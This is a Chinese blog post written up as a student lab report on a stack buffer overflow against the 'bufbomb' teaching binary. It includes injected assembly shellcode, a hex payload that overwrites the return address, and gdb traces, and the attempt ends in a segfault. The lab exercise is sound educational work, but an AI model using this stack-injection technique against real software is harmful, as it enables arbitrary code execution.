查看文章
 
缓冲区溢出攻击实验
2010-11-03 21:53

实验内容:

缓冲区代码攻击

test调用getbuf,输入的数据中,加入攻击代码。

修改全局变量global_value,修改getbuf返回地址为bang函数。

实验分析:

bufbomb反汇编来看:

08048d60 <bang>:

8048d60:       55                      push   %ebp

8048d61:       89 e5                   mov    %esp,%ebp

8048d63:       83 ec 08                sub    $0x8,%esp

8048d66:       c7 04 24 02 00 00 00    movl   $0x2,(%esp)

8048d6d:       e8 2e fc ff ff          call   80489a0 <entry_check>

8048d72:       a1 dc a1 04 08          mov   0x804a1dc,%eax

8048d77:       3b 05 cc a1 04 08       cmp    0x804a1cc,%eax

8048d7d:       74 21                   je     8048da0 <bang+0x40>

global_value地址:0x804a1dc         <global_value>:       0x00000000

Cookie地址:0x804a1cc

BANG地址:0x08048d60

实验过程

l 编写攻击代码

exploit.s

movl 0x804a1cc,%eax

movl %eax,0x804a1dc

pushl $0x08048d60

ret

l 编译:

[ustc@zdyhost exp3]$ gcc -o exploit -c exploit.s

[ustc@zdyhost exp3]$ objdump -d exploit

exploit:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:

   0:   a1 cc a1 04 08          mov    0x804a1cc,%eax

   5:   a3 dc a1 04 08          mov    %eax,0x804a1dc

   a:   68 60 8d 04 08          push   $0x8048d60

   f:   c3                        ret

l 确定栈空间地址及分配

由于攻击代码占16个字节,已超出buf大小;解决办法是将输入缓冲区的数据加大,将代码放置到RET后面。

Getbuf栈空间如下所示:

0xbfffbe10

存放exploit

0xbfffbe0c

Ret更改为exploit地址0xbfffbe10

0xbfffbe08

Saved ebp保持0xbfffbe28

%ebp

0xbfffbe04

Buf[11]

……

0xbfffbdfc

Buf[0]

%ebp-0xC

0x08048e60 in Gets ()

(gdb) i r

esp            0xbfffbdec       0xbfffbdec

ebp            0xbfffbe08       0xbfffbe08

(gdb) x/x 0xbfffbe08

0xbfffbe08:     0xbfffbe28

l 攻击数据确定

12字节存放无用数据

接着是testebp

接着是更改后指向exploit的地址

接着是exploit.s的攻击代码

[ustc@zdyhost exp3]$ cat exploit-Firecracker.txt

aaaaaaaaAAAAAAAAaaaaaaaa28beffbf10beffbfa1cca10408a3dca1040868608d0408c3

转换为攻击代码:

0000000 aaaa aaaa aaaa aaaa aaaa aaaa be28 bfff

0000010 be10 bfff cca1 04a1 a308 a1dc 0804 6068

0000020 048d c308 000a

0000025

l 测试结果:

[ustc@zdyhost exp3]$ gdb bufbomb

0xbfffbe10 in ?? ()

(gdb) x/x 0xbfffbe10

0xbfffbe10:     0x04a1cca1          //对比代码可以看出,攻击代码已在存入,并且准备执行

(gdb) si

Program received signal SIGSEGV, Segmentation fault.                   //这个错误实在让我想不通。

0xbfffbe10 in ?? ()

(gdb) si

0x08048a20 in seghandler ()

实验结果

从原理以及运行过程来看,数据攻击时,攻击代码已存入;并且在getbuf函数ret返回时PC已指向了攻击代码的开始地址。但是运行时出现错误提示:Program received signal SIGSEGV, Segmentation fault.

不知是否操作系统不支持栈空间代码运行?本人的操作系统是Fedora13


类别:默认分类||添加到搜藏 |分享到i贴吧|浏览(382)|评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
     

   
帮助中心 | 空间客服 | 投诉中心 | 空间协议
©2012 Baidu